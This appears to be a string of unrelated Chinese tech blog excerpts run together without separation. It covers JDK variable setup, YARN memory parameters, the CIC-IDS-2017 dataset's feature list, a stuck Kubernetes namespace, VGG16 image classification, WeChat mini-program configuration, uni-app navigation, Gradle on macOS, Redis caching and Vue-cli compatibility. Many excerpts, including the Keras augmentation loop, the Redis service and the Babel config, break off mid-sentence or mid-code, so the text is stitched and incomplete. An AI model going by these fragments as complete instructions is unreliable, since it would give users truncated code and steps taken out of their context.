我们配置的变量全部是系统变量!不要去修改任意的用户变量
!!!!!!!
第一步 我们需要新建一个变量 叫做JAVA_HOME
这里需要去填写变量值 这里的变量值填写你JDK的存放路径
以我的为例
E:\develop\jdk\1.8
我JDK存放的路径如上
到这一步 JAVA_HOME这个变量就配置完成了
接下来还需要配置两个变量
一个叫path
一个叫classpath
Path这个变量是系统中原本就有的,一会去编辑就可以了。
而classpath是需要我们去新建的,所以 我们先去完成classpath的配置
新建一个变量叫做classpath
值为
.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar 注意!这里的值是包括点和封号的!!
到了这一步
Classpath的配置也完成了
接下来我们需要去修改path的配置
Path本身是系统自带的 所以不需要新建,只需要修改就可以了
点击编辑之后,在变量值的最前面加上一个值 值具体如下
%JAVA_HOME%\bin; %JAVA_HOME%\jre\bin; 将这一行代码加载变量值的最前方
注意,是加在最前面,其他的原有值不要删除!!!
到了这一步 所有的配置信息都完成了 点击你所有能看到的确定
不点确定 所有信息是没办法进行保存的!
到这一步
所有的配置工作就做好了
接下来是验证!
打开系统的运行功能
打开之后 输入代码
java –version 然后回车
如果看到这样的提示 说明配置成功了
这是以 WIN7为例写的教程 WIN10系统的大同小异
WIN10的可以参考如下
https://blog.csdn.net/qq_41436122/article/details/82620080
但是这个太长了 可以结合我的去参考去看
参考:https://blog.csdn.net/u014665013/article/details/80923044
1.先看yarn.scheduler.minimum-allocation-mb和yarn.scheduler.maximum-allocation-mb
yarn.scheduler.minimum-allocation-mb:决定MapReduce使用的最小内存
yarn.scheduler.maximum-allocation-mb:决定MapReduce使用的最大内存
2.调整MapReduce内存
调整map任务内存:mapreduce.map.memory.mb
该参数不能比yarn.scheduler.minimum-allocation-mb小,否则不起作用
调整reduce任务内存:mapreduce.reduce.memory.mb
该参数不能比yarn.scheduler.minimum-allocation-mb小,否则不起作用
网络异常流量数据集CIC-IDS-2017/2018 && 流量特征提取工具CICFlowMeter的使用 1. 数据集CIC-IDS-2017/20182. 流量特征提取工具CICFlowMeter 1. 数据集CIC-IDS-2017/2018 下载链接:https://www.unb.ca/cic/datasets/ids-2017.html
通信安全机构(CSE)与加拿大网络安全研究所(CIC)合作项目。
对自1998年以来现有的11个数据集的评估表明,大多数数据集(比如经典的KDDCUP99,NSLKDD等)已经过时且不可靠。其中一些数据集缺乏流量多样性和容量,一些数据集没有涵盖各种已知的攻击,而另一些数据集将数据包有效载荷数据匿名化,这不能反映当前的趋势。有些还缺少特征集和元数据。
CIC-IDS-2017 数据集包含良性和最新的常见攻击,类似真实世界数据(PCAPs)。
它的数据采集截至2017年7月7日(星期五)下午5时,共计5天。星期一是正常的一天,只包括正常的流量。实现的攻击包括暴力FTP、暴力SSH、DoS、Heartbleed、Web攻击、渗透、僵尸网络和DDoS。他们分别于周二、周三、周四和周五上午和下午被执行。
CIC-IDS-2017数据集为每天测试得到的流量数据进行了特征提取,生成一共80多条特征,最后给他们一个标签,正常或攻击类型。
这是ids2017数据集的特征,label这个标签是数据集根据实验环境标注的,实际使用CICFlowMeter生成的是无标签的。
| Flow ID | Source IP| Source Port | Destination IP | Destination Port |Protocol | Timestamp| Flow Duration | Total Fwd Packets | Total Backward Packets | Total Length of Fwd Packets | Total Length of Bwd Packets | Fwd Packet Length Max | Fwd Packet Length Min | Fwd Packet Length Mean | Fwd Packet Length Std | Bwd Packet Length Max | Bwd Packet Length Min | Bwd Packet Length Mean | Bwd Packet Length Std | Flow Bytes/s | Flow Packets/s | Flow IAT Mean | Flow IAT Std | Flow IAT Max | Flow IAT Min | Fwd IAT Total | Fwd IAT Mean | Fwd IAT Std | Fwd IAT Max | Fwd IAT Min | Bwd IAT Total | Bwd IAT Mean | Bwd IAT Std | Bwd IAT Max | Bwd IAT Min | Fwd PSH Flags | Bwd PSH Flags | Fwd URG Flags | Bwd URG Flags | Fwd Header Length | Bwd Header Length | Fwd Packets/s | Bwd Packets/s | Min Packet Length | Max Packet Length | Packet Length Mean | Packet Length Std | Packet Length Variance | FIN Flag Count | SYN Flag Count | RST Flag Count | PSH Flag Count | ACK Flag Count | URG Flag Count | CWE Flag Count | ECE Flag Count | Down/Up Ratio | Average Packet Size | Avg Fwd Segment Size | Avg Bwd Segment Size | Fwd Header Length | Fwd Avg Bytes/Bulk | Fwd Avg Packets/Bulk | Fwd Avg Bulk Rate | Bwd Avg Bytes/Bulk | Bwd Avg Packets/Bulk | Bwd Avg Bulk Rate | Subflow Fwd Packets | Subflow Fwd Bytes | Subflow Bwd Packets | Subflow Bwd Bytes | Init_Win_bytes_forward | Init_Win_bytes_backward | act_data_pkt_fwd | min_seg_size_forward | Active Mean | Active Std | Active Max | Active Min | Idle Mean | Idle Std | Idle Max | Idle Min | Label | External IP | 2.
情况:
Kubectl delete ns XXXX 后, namespace 一直处于 Terminating 状态。
使用:
kubectl delete ns monitoring --grace-period=0 –force
后,也无法删除。
原因分析:
删除时,报错:
warning: Immediate deletion does not wait for confirmation that the running resource has been terminated. The resource may continue to run on the cluster indefinitely.
Error from server (Conflict): Operation cannot be fulfilled on namespaces " monitoring ": The system is ensuring all content is removed from this namespace. Upon completion, this namespace will automatically be purged by the system.
随着人工智能热潮的发展,图像识别已经成为了其中非常重要的一部分。图像识别是指计算机对图像进行处理、分析,以识别其中所含目标的类别及其位置(即目标检测和分类)的技术。其中图像分类是图像识别的一个类,是给定一幅测试图像,利用训练好的分类器判定它所属的类别。
该项目分为三部分:
第一部分:系统驱动的安装与环境的搭建第二部分:利用VGG16网络进行模型训练与预测第三部分:通过模型算法的部署,实现模型预测的页面可视化 本文主要讲解的是项目中的第二部分,其余两部分可通过Github了解
项目中所有的代码及数据集已放入Github
数据集的获取 本文的数据集中包含五个类,分别是Animal(动物)、Architecture(建筑)、people(人)、plane(飞机)、Scenery(风景)。由于身边条件的欠缺,数据集的获取途径主要通过爬取百度图片的方式获取,并将相同类的图片放在同一文件夹(代码:Reptile_img.py)。
爬取一个类示例:
注意:保存的图片采用英文格式,不然后续无法利用OpenCV读入。
数据集的清洗及读取 由于获取的图片数据集较为杂乱,所以我们需要人为清洗数据,以提高数据集的准确性。而后,数据集中可能会存在无法利用OpenCV读取的图片,我们采取遍历所有文件,并将其读入,将无法读入显示的图片删除,保证数据集的正确性(代码:open_img.py)。
将所有图片读取示例:
出现下方错误证明是爬取的图片无法读入,找到相对应的图片删除就好。
数据增强 清洗处理以后,我们五个类的图片集数量分别为:
类别数量Animal500张Architecture500张people700张plane500张Scenery700张 总体来说,数据集的数量太少,得出的模型可能存在模型泛化能力不强的情况。所以利用数据增强,对图片集进行随即旋转、平移变换、缩放变换、剪切变换、水平翻转等等操作,使得每张数据集得到50张处理后的图片,并保存在原本的文件夹下,整个数据集得到扩大(代码:data_augmentation.py)。
代码示例:
from keras.preprocessing.image import ImageDataGenerator import os import cv2 datagen = ImageDataGenerator( rotation_range=20, width_shift_range=0.15, height_shift_range=0.15, zoom_range=0.15, shear_range=0.2, horizontal_flip=True, fill_mode='nearest') dir = './data/' path = os.path.abspath(dir) all_file = os.listdir(dir) all_file.sort() i = 0 for file1 in all_file: # print(file1) img_file = os.listdir(os.path.join(path, file1)) img_file.sort() for file2 in img_file: img = cv2.imread(os.path.join(path, file1, file2)) x = img.
标题小程序开发步骤: 1去微信公众平台https://mp.weixin.qq.com/申请账号,密码:
2AppID(小程序ID),
小程序的标识,(个人理解,开发者工具中识别哪个小程序,上传代码)(开发时候有区别作用)
3AppSecret(小程序密钥)
想要生产unionId的前提,后续与后端交互有用到
4小程序的开发需要开发者工具
绿框的部分就是说,如果web-src的地址不是https也可以在开发者工具中启动,但是微信肯定访问不了。
文件结构啥的和vue差不多:
5服务器域名,配置合法的服务器域名(必须https)
wx.request 请求 去拉取数据的域名
6业务域名
业务域名是小程序的webview组件要引入的其他H5地址的URL的域名或者网页里面的iframe的域名
7管理-成员管理,可以添加开发人员及相关权限,体验人员
8管理-版本管理,可以设置体验版本,一般开发者工具上传后,这边就可以设置
9有支付功能要开通支付功能:
小程序这边要关联商户号(收钱方)
商户号的设置:登录商户平台-产品中心-账号关联(AppID绑定),进入授权申请页面;
10普通微信扫码进入小程序
二维码地址(https://x.jx116114.com/FZD/)是个短连接,在后端配置好对应长链接的表,H5这边写个短连接空页面,加载转换的url判断
具体设置:
测试连接:前面是地址的域名,中间/FZD/是区别哪个小程序,绿框的部分是对应长链接的具体地址和分享人的信息和分享的信息(具体传啥后端定义好)
标题Web-view结合H5的小程序开发步骤: H5正常开发,需要的openId、unionId都从url里面取(小程序转到H5的时候拼接)
Web-view小程序壳子: https://developers.weixin.qq.com/miniprogram/dev/component/web-view.html 开发文档
1.在小程序中
/page/index/
Wxml:
<view > <view wx:if='{{showOrHidden}}'> <button wx:if="{{canIUse}}" open-type="getUserInfo" bindgetuserinfo="getUserInfo" class="button-img"></button> </view> <view wx:if='{{showOrHiddenW}}'> <web-view src="{{src}}" bindmessage="msgHandler" value="{{}}"></web-view> </view> <view controls="{{!officialCanIUse}}" style="width:100%;position:fixed;height:5rem;bottom:0px;"> <official-account style=""></official-account> </view> </view> Index.js:
//index.js //获取应用实例 // const app = getApp() var appid = "wx**********************"; var shareUrl; Page({ data: { officialCanIUse: wx.
H5地图导航
腾讯地图
window.location.href = http://apis.map.qq.com/uri/v1/marker?marker=coord:lat,lng;addr:address 其中lat、lng、address分别为经纬度和详细地址三个参数
小程序、app
uni.openLocation({ latitude: lat-0,//要去的纬度-地址 longitude: lon-0,//要去的经度-地址 name: e,//地址名称 address: e,//详细地址名称 success: function () { console.log('导航成功'); }, fail:function(error){ console.log(error) } }); 这里的lat-0和lon-0是因为你获取的经纬度是string类型的,uni.openLocation需要的参数类型是number类型的
如果同一个项目需要同时用到H5导航、小程序、app可以用一下方法区分:
只能用于app
// #ifdef APP-PLUS
//#endif
小程序 app //#ifndef H5
//#endif
h5 小程序
//#ifdef H5 || MP-WEIXIN
//#endif
h5 //#ifdef H5
//#endif
小程序
//#ifdef MP-WEIXIN
//#endif
官网地址:https://uniapp.dcloud.io/platform?id=%e6%9d%a1%e4%bb%b6%e7%bc%96%e8%af%91
Clion 出现CMake Error: Could not find CMAKE_ROOT !!!是什么问题,应该怎么解决?
这是我第一次写博客,以前敲c++都用codeblocks,但是感觉codeblocks的debug功能自己一直不是特别会用。自从别人推荐我用clion以后,觉得clion debug功能是真的强大而且很好用,但是我重装了win10系统,然后重新初始化了以后(就是设一些用户名,开机密码等等一堆东西),clion就开始疯狂报错,就是
这个错误的产生原因就是clion路径里面有中文,会出现乱码,如果你发现可以通过更换路径解决这个问题那就万事大吉,但是如果你是因为刚安装了新系统,初始化时写了自己的名字,你以为这就是开机时显示的名字(虽然确实是)但也会使你c盘用户名(admin)改成了中文名,那么你只能再重装重新初始化了。
Cookie 是在客户端保存数据,Session 在服务端保存数据
Spring Boot写cookie
@GetMapping("/set") public String setCookie(HttpServletResponse response) { // create a cookie Cookie cookie = new Cookie("username", "Jovan"); // If no expiration time is specified for a cookie, it lasts as long as the session is not expired. cookie.setMaxAge(7 * 24 * 60 * 60); // expires in 7 days // A secure cookie is the one that is only sent to the server over an encrypted HTTPS connection.
前言: 一般我们打包apk都是用的AndroidStudio直接签名生成,这就造成了很多人不知道gradle除了可以用来配置依赖外,还可以用来编译生成apk。还有就是,在使用apk插件框架的时候,就需要使用gradle来编译apk,否则会出错。
这里说的是mac系统下配置gradle。
找到Android Studio应用图标
在Mac"应用程序"里面找,找到后使用control键+点击,然后选择显示包内容。
图1-显示包内容 找到里面的gradle目录
按照1的点击“显示包内容后”,依次打开Contents->gradle->gradle-xx(xx为版本号,如5.1.1)路径
图2-gradle目录 复制gradle-xx路径
网上有些使用属性来复制,这里复制gradle路径有个捷径,使用快捷键option+command+c可以直接复制gradle-xx路径。
以下是在我电脑上复制的路径: /Applications/Android Studio.app/Contents/gradle/gradle-5.1.1 由于Android Studio这个词中间带有空格,因此需要在Studio中加个\防止空格被转义。
/Applications/Android\ Studio.app/Contents/gradle/gradle-5.1.1 对gradle和gradle.bat添加执行权限
找到bin文件夹,使用control+点击打开,选择服务->新建位于文件夹终端窗口
图3-打开bin文件夹的终端窗口 然后使用ls -l命令查看gradle和gradle.bat拥有的权限。
图4-查看gradle和gradle.bat权限 可以发现并没有x的执行权限,执行以下命令给gradle和gradle.bat添加权限:
chmod +x gradle // 注:+x之间不能有空格 chmod +x gradle.bat 执行命令后,再使用ls -l可以看到添加了x权限:
图5-添加执行权限后的gradle和gradle.bat 配置gradle路径
打开终端,依次执行以下命令: cd ~ touch .bash_profile // 主要是防止没有.bash_profile文件时能直接创建 open -e .bash_profile 之后在弹出的文本框中复制以下(GRADLE_HOME即为刚才复制的路径):
export GRADLE_HOME=/Applications/Android\ Studio.app/Contents/gradle/gradle-5.1.1 export PATH=${PATH}:${GRADLE_HOME}/bin 启用配置
使用以下命令使配置生效: source ~/.bash_profile 之后使用gradle -v命令查看gradle版本:
图6-配置成功后的gradle版本 这样就完成了gradle在Mac系统的配置。
本篇随笔基于https://blog.csdn.net/weixin_41842236/article/details/104205713实现 一、使用Redis API进行业务数据缓存管理 在service下新建ApiCommentService,删除原有的CommentService package com.uos.cache.service; import com.uos.cache.domain.Comment; import com.uos.cache.repository.CommentRepository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.Service; import java.util.Optional; import java.util.concurrent.TimeUnit; @Service public class ApiCommentService { @Autowired private RedisTemplate redisTemplate; @Autowired private CommentRepository commentRepository; public Comment findById(int comment_id){ Object object = redisTemplate.opsForValue().get("comment_"+comment_id); if (object!=null){ return (Comment)object;}else { Optional<Comment> optional = commentRepository.findById(comment_id); if(optional.isPresent()){Comment comment= optional.get(); redisTemplate.opsForValue().set("comment_"+comment_id, comment,1, TimeUnit.DAYS);return comment; }else {return null;} } } public Comment updateComment(Comment comment){ commentRepository.updateComment(comment.getAuthor(), comment.getaId()); redisTemplate.opsForValue().set("comment_"+comment.getId(),comment); return comment; } public void deleteComment(int comment_id){ commentRepository.
最近用 vue-cli 3.0 开发的移动端项目在最近两年新出的安卓手机上没问题,在三四年前的旧手机上出现白屏问题。分析一下应该是安卓系统版本的原因,目前已知的是Android 6.0 以上都 OK,6.0 以下就不行了。
同时,页面在IOS10左右的版本中,也会显示异常
低版本安卓系统内置的 webview 不支持 ES6 语法等一些新特性,所以报错。但在手机上调试不方便,受一篇文章的启发, IE 浏览器也是同样的问题,所以可以在 IE 上调试,一个调好了两个就都好了。突然发现万恶的 IE 还是有点用的…
网上的文章大部分是 Vue-cli 2.x 版本的解决方案,但 Vue-cli 3 跟之前的版本还是有很大差异的,可能是我比较菜,看了 n 篇文章还是不知道怎么配置。经过努力,终于梳理出了基于 Vue-cli 3 的项目如何做兼容性配置的步骤:
1.在项目根目录下新建 .babelrc 文件,跟 package.json 同级。 将以下代码复制到 .babelrc 文件中 { "presets": ["@babel/preset-env"], "plugins": [ "@babel/plugin-transform-runtime" ] } 2.修改 babel.config.js 将以下代码添加到 babel.config.js 文件中。
const plugins = []; if (['production', 'prod'].includes(process.env.NODE_ENV)) { plugins.push("transform-remove-console") } module.exports = { presets: [ [ "